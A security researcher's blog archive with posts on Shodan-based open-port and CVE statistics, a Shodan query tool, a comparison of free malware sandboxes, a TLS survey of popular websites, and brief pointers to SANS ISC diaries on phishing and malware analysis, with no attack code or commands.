TriOp is a tool for quickly gathering information from Shodan.io about the number of IPs which satisfy large number of different queries. Generally, it may be useful to security researchers who wish to use data gathered from Shodan over time as a part of their research (e.g. to show how number of systems exposing remote access protocols to the internet changed as a reaction to new movement restrictions connected to the Covid-19 pandemic) and to CSIRTs, especially national ones, that wish to monitor their constituencies for changes and/or vulnerabilities, but lack the technical tooling that would enable them to periodically scan all of their external IP ranges.

In its most basic mode of operation, TriOp takes a list of searches as an input and displays number of systems, which Shodan sees, which satisfy the search. The outputs may be saved in a CSV, which enables you to monitor “counts” for the same set of searches over time.

TriOp also enables you to quickly generate list(s) of searches from parameters, which are relevant for you (e.g. if you provide a list of searches and a list of countries, the tool will generate a relevant search list for each of the countries).

All that is necessary to use TriOp is a valid API key, which comes with every Shodan.io account (even a free one), and to have Python 3 with the Shodan Python library installed.

The tool may be downloaded from my GitHub page and bellow you may find a short tutorial showing its use in greater detail.

Direct URL: https://www.youtube.com/watch?v=pp9lD58Dc-w

SANS ISC Diary - From a small BAT file to Mass Logger infostealer

Jan Kopriva — Mon, 04 Jan 2021 15:50:00 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at an interesting BAT file from 2020, which turned out to be a downloader for the Mass Logger infostealer.

Open ports statistics for 2020

Jan Kopriva — Fri, 01 Jan 2021 17:00:00 +0200

The last quarter of 2020 is behind us, which means it’s time for another look at some of the interesting ports accessible on public IPs. This time however, we will take a look at how the internet changed during the whole of 2020, not just at the past 3 months.

I would especially like to bring to your attention the steady decrease in ICS systems connected to the internet during 2020. Although Shodan still sees almost 100k of IP addresses running services communicating using industrial protocols, it is over 30k less then it saw at the beginning of the year.

Should you be interested in the port situation in the Czech Republic, you may find corresponding charts here.

Bellow, you may find charts for the following protocols and ports:

Web

E-mail

Industrial Control Systems (ICS)

SSH (port 22)

Telnet (port 23)

DNS (port 53)

NTP (port 123)

SNMP (port 161)

SMB (port 445)

RDP (port 3389)

HTTP (port 80)

HTTPS (port 443)

SMTP (port 25)

SMTPS (port 465)

IMAP (port 143)

IMAPS (port 993)

POP3 (port 110)

POP3S (port 995)

All ICS protocols

Modbus (port 502)

EIBnet/IP (port 3671)

BACnet/IP (port 47808)

SANS ISC Diary - TLS 1.3 is now supported by about 1 in every 5 HTTPS servers

Jan Kopriva — Wed, 30 Dec 2020 12:55:00 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at the increse in support of TLS 1.3 by HTTPS servers and the decrease in support of SSL 2.0.

SANS ISC Diary - Want to know what's in a folder you don't have a permission to access? Try asking your AV solution...

Jan Kopriva — Tue, 29 Dec 2020 15:20:00 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look a small issue present in many anti-malware tools, which may be used to bypass file system level folder listing permissions.

SANS ISC Diary - A slightly optimistic tale of how patching went for CVE-2019-19781

Jan Kopriva — Fri, 18 Dec 2020 10:00:00 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at how many publicly accessible systems are still vulnerable to CVE-2019-19781, AKA Shitrix.

Most common vulnerabilities based on Shodan scans

Jan Kopriva — Wed, 18 Nov 2020 21:00:00 +0100

My recent post on the Internet Storm Center website about the surprisingly high number of systems still affected by critical vulnerabilities, which have been patched for a long time, received quite a positive feedback. I have consequently decided to take a look at the issue in a more comprehensive manner and since I didn’t know, which vulnerabilities Shodan was able to detect, I’ve used my TriOp tool to gather data for all of the approximately 190k CVEs ever published. After couple of days the script took to run, I have the results and they are quite interesting…

Before we get to them though, let’s take a quick look at how many vulnerabilities is Shodan capable of detecting. The magic number seems to currently be 2246. Or, rather, that is the number of CVEs, for which Shodan detected at least one affected IP address. Since for each of 40 different CVEs it detected only 1 vulnerable IP and for 99 more CVEs it detected only between 2 and 10 affected IPs, it is quite possible that Shodan is capable of identifying other vulnerabilities as well, but it didn’t find them on any of the systems it scanned in the past few days or weeks.

On the other hand, as you may see from the following chart, there are a significant number of CVEs for which Shodan detected over 1 million affected IP addresses – 145, to be specific.

We won’t, for obvious reasons, discuss all of them but I thought that a closer look at the top 15 CVEs detected most often might be worth it, since all of these had more than 4 million detections.

As the chart above shows, we have couple of sets of vulnerabilities with similar numbers of detections. This is mostly due to them affecting the same version of a specific system, which corresponds with the similar (and sometimes nearly sequential) CVE numbers.

The most common vulnerability seems to be CVE-2017-15906, which affects OpenSSH and luckily isn’t too critical. That unfortunately can’t be said about some of the other ones, as three vulnerabilities (two in Apache and one in PHP), which have made it into the top 15, have CVSSv3 score 9.8. You may take a find details for all of the most commonly detected vulnerabilities in the following table.

CVE	Number of affected IP addresses	CVSSv3
CVE-2017-15906	7,551,378	5.3
CVE-2018-1312	6,936,210	9.8
CVE-2019-0220	5,687,693	5.3
CVE-2017-7679	5,581,571	9.8
CVE-2018-17199	5,392,949	7.5
CVE-2018-15919	5,299,655	5.3
CVE-2016-8612	5,267,545	4.3
CVE-2016-4975	5,051,548	6.1
CVE-2018-1283	4,971,245	5.3
CVE-2017-15715	4,971,235	8.1
CVE-2017-15710	4,971,199	7.5
CVE-2019-9641	4,149,029	9.8
CVE-2019-9639	4,149,025	7.5
CVE-2019-9638	4,149,024	7.5
CVE-2019-9637	4,149,015	7.5

As we see, the vulnerabilities we discussed in the ISC post may all have high impact, but would seem not to be the most common ones.

Although it’s not too probable, let’s hope that the number of systems affected by the CVEs mentioned above start falling soon, as otherwise they might quite quickly become dangerous not just for their users but to others as well, since public exploits for some of the vulnerabilities are freely available…

SANS ISC Diary - Vulnerabilities don’t disappear just because we don’t talk about them anymore

Jan Kopriva — Mon, 16 Nov 2020 11:08:20 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at couple of pre-2020 high-impact vulnerabilities, which still affect surprising number of publicly accessible systems.

SANS ISC Diary - SMBGhost - the critical vulnerability many seem to have forgotten to patch

Jan Kopriva — Wed, 28 Oct 2020 11:00:00 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at the concerning number of machines connected to the internet, that are still not patched for the critical SMBGhost vulnerability.

SANS ISC Diary - BazarLoader phishing lures: plan a Halloween party, get a bonus and be fired in the same afternoon

Jan Kopriva — Thu, 22 Oct 2020 11:00:00 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at phishing campaigns spreading BazarLoader malware and the lures which they use.

SANS ISC Diary - Phishing kits as far as the eye can see

Jan Kopriva — Fri, 09 Oct 2020 07:40:00 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at phishing kits, which are offered on the indexed part of the web.

Open ports statistics for Q3 2020

Jan Kopriva — Wed, 30 Sep 2020 07:30:00 +0200

If you’ve read any of my posts about open ports on public IP addresses either here or on the SANS Internet Storm Center website, you probably know that I’m interested in how the internet changes over time and I try to gain at least some understanding of it by analyzing data gathered over time from Shodan.

To this end, I’ve been gathering daily statistics of different open ports/running services accessible on public IP addresses around the world and in different countries for about 18 months now. In order to acquire this data, I wrote Python tool (which I’ve called “TriOp” for obvious reasons), that enables me to quickly create reusable batches of queries for Shodan and automatically gather the numbers of IP addresses, which satisfy these queries. I plan to open source the tool in the future, but I will first need to find some time to clean up the code a little, as although it works just fine in its current version, it is a bit too spaghetti-like in some places for my liking…

In any case, since I have access to this data and I’m probably not the only one who finds the changes in numbers of different open ports interesting, I’ve decided to start publishing quarterly (and perhaps yearly) charts of the numbers of IPs, which have some of the more interesting ports open to the internet.
The list of ports is intentionally small, but if you’d like to see a chart for any of the missing ones next quarter, let me know and I’ll consider adding it.

I should mention that due to the way Shodan works, the numbers gathered from it may sometimes increase or decrease sharply and take a while to stabilize (see the first week of September in any of the charts bellow), which does not necessarily represent the real state of affairs. Short discussion of this issue may be found here. To alleviate this issue to at least some degree, I’ve included relative (i.e. percentage of IPs Shodan sees, which have a specific port open) as well as absolute values in all the charts.

Given the limitations of Shodan and the fact that (except for ICS data) the values in the charts are gathered using only port queries (i.e. “port:80”) and are not limited by any service specification, they may be slightly imprecise. Still, the results are certainly interesting and provide at least somewhat accurate look at how the internet changes over time.

Bellow, you may find charts for the following protocols and ports:

Web

E-mail

Industrial Control Systems (ICS)

SSH (port 22)

Telnet (port 23)

DNS (port 53)

NTP (port 123)

SNMP (port 161)

SMB (port 445)

RDP (port 3389)

HTTP (port 80)

HTTPS (port 443)

SMTP (port 25)

SMTPS (port 465)

IMAP (port 143)

IMAPS (port 993)

POP3 (port 110)

POP3S (port 995)

Modbus (port 502)

EIBnet/IP (port 3671)

BACnet/IP (port 47808)

SANS ISC Diary - Slightly broken overlay phishing

Jan Kopriva — Mon, 21 Sep 2020 12:50:00 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at an interesting (and slightly broken) phishing campaign, which overlays legitimate pages with fake login prompts.

SANS ISC Diary - A blast from the past - XXEncoded VB6.0 Trojan

Jan Kopriva — Fri, 04 Sep 2020 09:35:00 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at a campaign in which the malicious actors decided to go reall “old school” when it comes to file formats they would use.

SANS ISC Diary - Security.txt - one small file for an admin, one giant help to a security researcher

Jan Kopriva — Thu, 27 Aug 2020 09:20:00 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at the draft standard for “A File Format to Aid in Security Vulnerability Disclosure”, better known as security.txt.

SANS ISC Diary - Definition of 'overkill' - using 130 MB executable to hide 24 kB malware

Jan Kopriva — Fri, 14 Aug 2020 14:20:00 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at a 130 MB EXE carrying within it a 24 kB malicious payload.

SANS ISC Diary - What pages do bad bots look for?

Jan Kopriva — Sat, 01 Aug 2020 16:15:00 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at which interesting pages “bad” bots look for the most on web servers.

SANS ISC Diary - Couple of interesting Covid-19 related stats

Jan Kopriva — Tue, 21 Jul 2020 10:55:00 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at how regional travel restrictions impact (or don’t) the number of IP addresses which expose remote access protocols to the internet.

SANS ISC Diary - Using Shell Links as zero-touch downloaders and to initiate network connections

Jan Kopriva — Wed, 24 Jun 2020 09:45:00 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at a weakness handling of LNK files in Windows, through which one may force the OS to download an arbitrary file from a remote server any time the shortcut file is displayed.

SANS@MIC - Catch and Release: Phishing Techniques for the Good Guys

Jan Kopriva — Thu, 18 Jun 2020 19:10:00 +0200

I did a SANS@MIC talk yesterday, in which I discussed interesting phishing techniques (mainly) from the point of view of red teamers. Since the recording was published today, if you didn’t get the chance to join us live, you may take a look at how it went on YouTube.

SANS ISC Diary - Broken phishing accidentally exploiting Outlook zero-day

Jan Kopriva — Thu, 18 Jun 2020 11:35:00 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at a phishing, which accidentally exploited a 0-day vulnerability in Outlook, which allows for creation or modification of links when an e-mail is forwarded by Outlook.

Update of overview of free online malware analysis sandboxes

Jan Kopriva — Sat, 30 May 2020 13:30:00 +0200

Since there have been some small changes in the free online malware analysis sandbox landscape over the last couple of months, I’ve updated the comparison table to reflect them. You may find the new 1.2 version here.

SANS ISC Diary - Frankenstein's phishing using Google Cloud Storage

Jan Kopriva — Wed, 27 May 2020 10:40:00 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at a strange phishing campaign, which was, due to combination of quite sophisticated and extremely amateurish components, reminiscent of the creation of Shelley’s Dr. Frankenstein.

History of Malware - Episode 1: Origins of Malware (1948 - 1979)

Jan Kopriva — Mon, 11 May 2020 09:35:00 +0200

I decided to start a YouTube series on the History of Malware and the first video was published today.

In this episode we’ll take a look at where malware began. We’ll discuss the first theoretical works by John von Neumann, the origins of the terms ‘virus’ and ‘worm’ in relation to malware and the early experiments in distributed computation that gave birth to the first computer worms. If you’d like to learn more about the subjects, you may find links for the relevant sources under the video.

John von Neumann - The General and Logical Theory of Automata
http://physics.bu.edu/~pankajm/PY571/HixonsymposiumVonNeumaan.pdf

John von Neumann - Theory of Self-Reproducing Automata
http://www.arise.mae.usp.br/wp-content/uploads/2018/03/Theory-of-self-reproducing-automata.pdf
https://archive.org/details/theoryofselfrepr00vonn_0/mode/2up

Lionel Penrose - Self-Reproducing Machines
http://fab.cba.mit.edu/classes/865.18/replication/Penrose.pdf
https://wellcomelibrary.org/item/b20219222

Frederick G. Stahl - 1960 – the first artificial universe complex artificial life in a Darwinian world
http://archive.computerhistory.org/resources/access/text/2017/02/102724826-05-01-acc.pdf

M. D. McIlroy, R. Morris, V. A. Vyssotsky - Letter to C. A. Lang about Darwin
https://www.cs.dartmouth.edu/~doug/darwin.pdf

The Jargon File 4.2.2
https://vanderworp.org/wp-content/uploads/2019/06/jargon.pdf

Fork bombs - Wikia
https://malware.wikia.org/wiki/Fork_Bomb

Numberphile - Does John Conway hate his Game of Life?
https://www.youtube.com/watch?v=E8kUJL04ELA

Gregory Benford - The Scared Man
http://www.gregorybenford.com/extra/the-scarred-man-returns/

Jordan Spencer Cunningham - Q&A with Ray Tomlinson on Creeper “Virus”
https://nerdology.org/2014/11/qa-with-ray-tomlinson-on-creeper/

Veith Risak - Selbstreproduzierende Automaten mit minimaler Informationsübertragung
https://web.archive.org/web/20080305093506/http://www.cosy.sbg.ac.at/~risak/bilder/selbstrep.html

Cicatrix - Interview with Q The Misanthrope
http://web.archive.org/web/20080406223546/http:/vx.netlux.org/lib/static/vdat/ivqmisan.htm

Peter G. Neumann - The Risk Digest Volume 6 Issue 53
http://catless.ncl.ac.uk/Risks/6.53.html#subj4

John Walker - The Animal Episode
https://www.fourmilab.ch/documents/univac/animal.html

PARC History
https://web.archive.org/web/20070711093550/http://www.parc.xerox.com/about/history/default.html

John F. Shoch and Jon A. Hupp - The "Worm" Programs Early Experience with a Distributed Computation
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.137.9511&rep=rep1&type=pdf

SANS ISC Diary - Agent Tesla delivered by the same phishing campaign for over a year

Jan Kopriva — Tue, 28 Apr 2020 08:45:00 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at a phishing campaign that has been running almost unchanged for more than a year and seems to be distributing exclusively Agent Tesla.

SANS ISC Diary - Look at the same phishing campaign 3 months apart

Jan Kopriva — Mon, 13 Apr 2020 11:35:00 +0200

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at two phishing e-mails from the same campaign sent out 3 months apart.

Open ports in the Time of Corona

Jan Kopriva — Thu, 02 Apr 2020 08:59:20 +0200

One of the side effects of social distancing and self-quarantining due to COVID-19 was a large increase in the use of VPNs (and, in some cases, different remote access protocols, such as RDP or SSH) by companies around the world, so that their employees might work from home.
I was wondering how large this increase would be when compared to the usual state of affairs. To determine this, I took a look at data I gathered from Shodan over the course of March and made couple of - hopefully interesting - charts.

Before we get to them, however, I should mention that simply looking at absolute numbers gathered from Shodan wouldn’t give us much due to the way Shodan operates (for more details, take a look at my diary about patching BlueKeep). Therefore, while Shodan saw a significant absolute increase in open ports/detected IPs in March (almost 12% rise in detected IP addresses globally), we will take a look at both absolute and the relative values - counts as well as percentages of all IPs globally/in a specific country, which have a certain port open.

If you’re interested in how the situation looked before, I’ll add that Shodan itself recently released an article with analysis of some of the trends they saw from the start of July 2019 to the end of January 2020. You may find it here.

One last thing I will mention before we get to “the good stuff” is that I didn’t include all the countries, for which I have data, in the charts, since that would make the post too large. If data for your country isn’t included in the charts and you would like to see how the situation changed where you live, get in touch with me and if I have the data, I’ll try to add a chart for your country as well.

Now, let’s take a look at the charts themselves. I picked the ports which have seen a high significant absolute increase globally - namely ports 22 (SSH), 80 (HTTP), 443 (HTTPS and many TLS-based services and VPN solutions) and 3389 (RDP). Unfortunatelly, I don’t have data for the usual VPN ports and related services (IKE, PPTP, etc.), but I assume that the jump in those was similarly significant as the one in TLS.

Here is the list of countries for which charts are available:

Global situation

In addition to the ports mentioned above, on a global level we will take a look at SMB as well. There has been a signifficant increase in SMB open to the internet and, unfortunatelly, that was true even for SMBv1 on Windows.

As we may see, although there was a significant absolute increase in IPs which offer the protocols and services we were interested in, the percentage of IPs offering these protocols actually went down in cases of SSH and RDP. As the following charts demonstrate, this trend held for some countries as well, but not all of them.

Australia

Canada

Czech Republic

Great Britain

Germany

China

Italy

Netherlands

Romania

Russia

Slovakia

Spain

USA

SANS ISC Diary - Crashing explorer.exe with(out) a click

Jan Kopriva — Mon, 30 Mar 2020 07:55:00 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at a vulnerability in the way Windows handles self-referential links, which makes it possible to use specially crafted URL and LNK files to crash Explorer.

CrisisCon - Breaking Windows

Jan Kopriva — Sat, 28 Mar 2020 09:15:00 +0100

Videos of all presentations from last weeks CrisisCon are now accessible on Youtube. Among them is my own talk on known unpatched vulnerabilities and weaknesses in Windows.

If you couldn’t make it to the online conference, I recommend you at least go through some of the recordings as couple of the talks were quite interesting.

SANS ISC Diary - Desktop.ini as a post-exploitation tool

Jan Kopriva — Mon, 16 Mar 2020 07:55:00 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at a vulnerability in the way Windows handles desktop.ini files, which makes it possible to use them as an interesting post-exploitation tool.

UPDATE 27. 5. 2020: I put together a shor video demonstrating the vulnerabiltiy while preparing materials for SANSFIRE 2020. You may find it here.

Overview of free online malware analysis sandboxes

Jan Kopriva — Fri, 13 Mar 2020 08:14:41 +0100

This page contains a list of freely accessible online malware sandboxes and analytical platforms that I currently find most useful, along with a short overview of their capabilities. The list is (and it is meant to be) non-exhaustive, but if you know of any sandbox which is not mentioned but offers interesting features, feel free to let me know about it.

If you’d like to use the table in a presentation or share it on some other site, there is a PNG version bellow to make it easier.

Current version: 1.9 (3/2023)

Name	Interactive	OS	Max. runtime duration	Max input size	File number limits	URL submission	API access	Requires registration	Note
Amnpardaz SandBox	✘	XP SP2	Not specified	20 MB	Not specified	✘	✘	Requires an e-mail address for each analysis
Any.Run	✔	W7 32bit	300 seconds	16 MB	✘	✔	✘	✔
CAPEv2 Sandbox	✘	W7 32bit W7 64bit	Not specified	30 MB	Limits for API use	✘	✔	✘	* Offers PCAP analysis as well
Hatching Triage	✔	W7 64bit W10 64 bit macOS 10.15 64 bit Ubuntu 18.04 64 bit Linux MIPS Android 9 32 bit Android 10 64 bit Android 11 64 bit	1800 seconds	No limit	✘	✔	✔	✔	* 1 GB+ file sizes supported
Hybrid Analysis	✘	W7 32bit W7 64bit W10 64bit Ubuntu 16.04 64 bit Ubuntu 20.04 64 bit Android (static analysis only)	360 seconds	100 MB	Limits for API use	✔	✔	Registration required for API use
Intezer Analyze	✘	N/A	N/A	16 MB	10 files per month	✘	✘	✔	* Analysis of multiple executable and document file types * Performs very complex static analysis * Dynamic analysis performed by CAPE
IRIS-H Digital Forensics	✘	N/A	N/A	10 MB	Not specified	✘	✘	✘	* Analysis of malicious documents (Office formats, PDFs and LNKs) * Not a "true" sandbox - only static analysis, but worth mentioning
VirusTotal	✘	Unspecified	N/A	650 MB	Limits for API use	✔	✔	✘	* Automated multisandbox analysis of submitted samples

Direct URL: https://untrustednetwork.net/images/misc/free-malware-analysis-sandboxes-overview-current.png

Overview of free online malware analysis sandboxes – 2020 edition

Jan Kopriva — Thu, 12 Mar 2020 08:33:11 +0100

UPDATE 13/3/2020: Interactive (and hopefully current) version of the table may be found here.

Whether your work has anything to do with security monitoring, malware analysis, incident response, or just general IT administration, you’ve probably come across VirusTotal. It is an invaluable tool when it comes to identifying malicious code, however sometimes we need to dig a bit deeper than just getting a “detection score” for a potentially dangerous file. In such instances, we may turn to free online sandboxes (or paid or local ones, if we have access to them, but let’s assume we don’t), which can provide us with more detailed information about the behavior of our file by executing or opening it in a virtual environment and monitoring its activities.

There have been many such tools over the years. But since some of the old ones are not working anymore (malwr.com to name one), while others appeared only relatively recently, I thought it might be interesting to take a look at what free sandboxes and analytical platforms are available to us at the beginning of 2020 and what their features are.

After going through all the free online sandboxes I could find, I picked out nine, which I believe are most useful, and summarized their features in the following table. I should mention that I intentionally didn’t put in it “specialized” sandboxes, such as AMAaaS, as I was mainly going for general-use platforms. Although the table is therefore far from being exhaustive, I think it may provide a useful quick reference to what you can get and where you can get it if you need to analyze (potentially) malicious files under specific conditions.

It should be noted that at the time of writing, none of the free sandboxes mentioned bellow support private submissions. This means that any uploaded files may be accessible to other users and/or organizations and it would therefore be unwise to upload anything sensitive to any of the platforms.

SANS ISC Diary - Secure vs. cleartext protocols – couple of interesting stats

Jan Kopriva — Mon, 02 Mar 2020 06:55:00 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we delve into the support of HTTP and HTTPS among web servers on the internet, as well as support for Telnet and SSH, over the last six months.

SANS ISC Diary - Quick look at a couple of current online scam campaigns

Jan Kopriva — Tue, 25 Feb 2020 06:57:00 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at couple of online scam campaigns I came accross in the last weeks. A closer look at one of the landing pages used in the campaign, which was almost certainly authored by the FizzCore group, may be found here (in Czech).

SANS ISC Diary - Discovering contents of folders in Windows without permissions

Jan Kopriva — Tue, 18 Feb 2020 07:18:21 +0100

A Diary of mine was published today on the SANS Internet Storm Center. This one deals with a strange side effect of the way in which Windows deals with file permissions, which enables any user, regardless of permissions, to brute-force contents of any local folder.

UPDATE 20. 5. 2020: I put together a shor video demonstrating the weakness/vulnerability while preparing materials for SANSFIRE 2020. You may find it here.

SANS ISC Diary - Current PayPal phishing campaign or 'give me all your personal information'

Jan Kopriva — Mon, 10 Feb 2020 09:37:58 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at a current phishing campaign which shows quite well the current “let’s get all the users' data” mentality of the attackers.

SANS ISC Diary - Analysis of a triple-encrypted AZORult downloader

Jan Kopriva — Mon, 03 Feb 2020 07:45:10 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at analysis of an interesting malicious document which turned out to be AZORult downloader. What made it stand out - among its other aspects - were 3 layers of home-grown encryption…

EDIT 04/02/2020: Tom from Threat Post liked the diary and wrote an article based on it - you may find it here.

SANS ISC Diary - Picks of 2019 malware - the large, the small and the one full of null bytes

Jan Kopriva — Thu, 16 Jan 2020 07:52:08 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at what last year brought us, when it comes to malware delivered by e-mail, specifically at the smallest and largest malicious files I found in my e-mail quarantine.

Most visited adult sites actually beat some e-banking portals when it comes to encryption

Jan Kopriva — Wed, 01 Jan 2020 12:09:20 +0100

After I finished the analysis of SSL/TLS configuration of almost 1400 internet banking portals (see the relevant ISC Diary, a question came to me. Internet banking portals should be among the best secured systems put online, yet not all of them made the mark when it came to encryption used to secure HTTP traffic. Would the situation be even worse for sites which are commonly assumed to lack proper security measures?

Websites with adult content seemed to be the ideal starting place to determine this, so I tried to look for a list of the most popular ones. Contrary to my expectations, I wasn’t able to find any current list with more than “Top 10” or “Top 25” sites, so I turned to Alexa. Among other information, Alexa offers “Top 500 sites” lists for the following categories:

Adult
Arts
Business
Computers
Games
Health
Home
Kids and Teens
News
Recreation
Reference
Regional
Science
Shopping
Society
Sports

Unfortunately, without a paid account, one may only access first 50 sites of the Top 500 list for each category. Although I originally wanted our sample to be much larger, it was not to be… But the limitation gave me an idea. Since one may access list of the top 50 sites in each category, why not scan all the 50 sites for each of the 16 categories? Of course, with such a small sample size, the results could not be considered anywhere near representative, but they might be interesting nonetheless.

With the plan set, I put it into action on 25 December 2019. I used the same methodology as in the case of the banking portals - I conducted an Nmap scan using the “ssl-enum-ciphers” and “sslv2” scripts which enabled me to determine which SSL/TLS protocols were supported by the servers (except for TLSv1.3) as well as the weakest supported ciphersuite (once again, see the Diary for more details). In the end, the scans managed to gather information about 790 of the 800 domains (the 10 errors were mostly due to second level domains not having an A record set).

In contrast to the case of internet banking portals, none of the servers in the “Top 50” lists supported SSLv2 (which 0.8% of tested internet banking servers did) or supported a ciphersuite marked with an F (as was the case with 0.29% of e-banking servers). So in this regard (and actually several others), even the 50 most visited adult sites were actually better configured than some of the internet banking portals.

Apart from that, the results were a bit of a mixed bag, as you may see from the following table of results. I added the numbers for the internet banking sites as well, so you may judge the resulting grades for yourselves.

Category	A	C	D	F
Business	78.72	17.02	4.26	0.00
Health	75.00	25.00	0.00	0.00
Reference	75.00	22.92	2.08	0.00
Science	74.42	23.26	2.33	0.00
Kids and Teens	73.91	21.74	4.35	0.00
Regional	72.34	23.40	4.26	0.00
Shopping	72.34	25.53	2.13	0.00
Society	71.74	28.26	0.00	0.00
Internet Banking	70.47	24.29	4.95	0.29
Home	67.35	32.65	0.00	0.00
News	67.35	32.65	0.00	0.00
Recreation	66.67	31.11	2.22	0.00
Adult	63.27	34.69	2.04	0.00
Games	63.04	32.61	4.35	0.00
Arts	61.70	34.04	4.26	0.00
Sports	61.70	31.91	6.38	0.00
Computers	52.00	46.00	2.00	0.00

Besides the marks for different categories, protocol support was interesting as well. As was already mentioned, none of the tested sites supported SSLv2, however one further point that should be mentioned is that on average, more internet banking sites still supported SSLv3 than servers in any of the Alexa categories and less of banking sites supported TLSv1.2 than even the sites in the Adult category. Since the sample sizes varied widely between the analyses, this should be considered more of an interesting observation than anything else, but I think it does merit at least this small remark.

Category	SSLv3	TLSv1.0	TLSv1.1	TLSv1.2
Computers	0.00	74.00	82.00	100.00
Adult	2.00	68.00	80.00	98.00
News	2.00	68.00	76.00	98.00
Home	0.00	52.00	64.00	98.00
Sports	0.00	68.75	85.42	97.92
Internet Banking	3.49	47.64	57.75	96.65
Reference	0.00	52.00	70.00	96.00
Arts	2.04	63.27	71.43	95.92
Society	2.08	47.92	58.33	95.83
Health	0.00	46.94	67.35	93.88
Shopping	0.00	36.73	63.27	93.88
Business	2.04	36.73	53.06	93.88
Kids and Teens	0.00	56.00	78.00	92.00
Regional	0.00	56.00	78.00	92.00
Recreation	2.04	42.86	63.27	91.84
Games	2.00	66.00	82.00	90.00
Science	0.00	44.90	67.35	87.76

When it came to vulnerabilities, several servers in Society and Adult categories were found to be vulnerable to POODLE, couple in the Science category still supported the use of RC4 and quite a large number of sites in all categories supported ciphersuites vulnerable to SWEET32.

Category	SWEET32	RC4	POODLE
Society	27.08	0.00	2.08
Adult	36.00	0.00	2.00
Internet Banking	30.55	0.51	0.07
Science	20.41	2.04	0.00
Computers	48.00	0.00	0.00
Sports	37.50	0.00	0.00
Arts	36.73	0.00	0.00
Games	34.00	0.00	0.00
News	34.00	0.00	0.00
Home	32.00	0.00	0.00
Recreation	30.61	0.00	0.00
Shopping	26.53	0.00	0.00
Regional	26.00	0.00	0.00
Health	24.49	0.00	0.00
Kids and Teens	24.00	0.00	0.00
Reference	24.00	0.00	0.00
Business	20.41	0.00	0.00

The last thing, which should be mentioned is that on average only 23.54% of the sites from the Alexa’s categories were configured in accordance with the current security best practices (i.e. they only supported TLSv1.2 and possibly TLSv1.3). Percentages for all of the categories tested may be found in the following chart.

SANS ISC Diary - Internet banking sites and their use of TLS... and SSLv3... and SSLv2?!

Jan Kopriva — Fri, 13 Dec 2019 08:22:37 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at the use of TLS (and SSL) on banking sites all over the world.

SANS ISC Diary - Phishing with a self-contained credential-stealing webpage

Jan Kopriva — Fri, 06 Dec 2019 07:30:00 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at an interesting phishing message, which carried a complete phishing web page as its attachment.

SANS ISC Diary - E-mail from Agent Tesla

Jan Kopriva — Thu, 05 Dec 2019 07:30:00 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at a multi-stage downloader for Agent Tesla.

SANS ISC Diary - Analysis of a strangely poetic malware

Jan Kopriva — Wed, 04 Dec 2019 08:14:33 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at a macro-based dropper sent to the Internet Storm Center by one of our readers.

SANS ISC Diary - Lessons learned from playing a willing phish

Jan Kopriva — Tue, 26 Nov 2019 12:08:19 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one we take a look at baiting phishing attackers and at some of the lessons we may learn from it.

SANS ISC Diary - Did the recent malicious BlueKeep campaign have any positive impact when it comes to patching?

Jan Kopriva — Sun, 10 Nov 2019 11:55:40 +0100

A Diary of mine was published today on the SANS Internet Storm Center. If you wondered whether the recent “BlueKeep worm scare” had any impact when it comes to the number of vulnerable systems out there, then this one is for you.

EDIT 13/11/2019: Shaun from The Register liked the post and wrote an article based on it - you may find it here.

SANS ISC Diary - EML attachments in O365 - a recipe for phishing

Jan Kopriva — Thu, 31 Oct 2019 11:15:35 +0100

A Diary of mine was published today on the SANS Internet Storm Center. In this one, we take a look at the absence of filtering of EML attachments in O365 and what it can lead to.

Do automated tools really detect only 45% of all vulnerabilities?

Jan Kopriva — Sat, 19 Oct 2019 18:50:15 +0200

If you’ve dealt with IT security for any length of time, chances are that you’ve come across a claim that research has shown that automated tools can only detect 45% of vulnerabilities. It is often cited to illustrate the need for participation of human experts in security and penetration tests. However is the claim really true?

You may find it in, among many other places, the latest OWASP Testing Guide.

Source: OWASP Testing Guide v4, page 22

Given this source in particular, one might reasonably expect the claim to be correct…but, as you may have guessed, that is not the case. Or rather not entirely. Some other sources cite the original research, where the number 45% originated, more or less correctly, as tools are capable of detecting 45% of types of vulnerabilities. This version may be found (again, among many other places) in several OWASP presentations.

Source: OWASP - Embed within SDLC, slide 42

Many have cited these presentations. For example Mitnick Security, company of the world renowned Kevin Mitnick, cites OWASP almost word for word on their website. However, as a closer look at the text of their site shows, even they, when coming from exact citation of OWASP, managed to interpret the conclusions of the original research to mean “automated tools detect only 45% of vulnerabilities” in some cases.

Source: mitnicksecurity.com

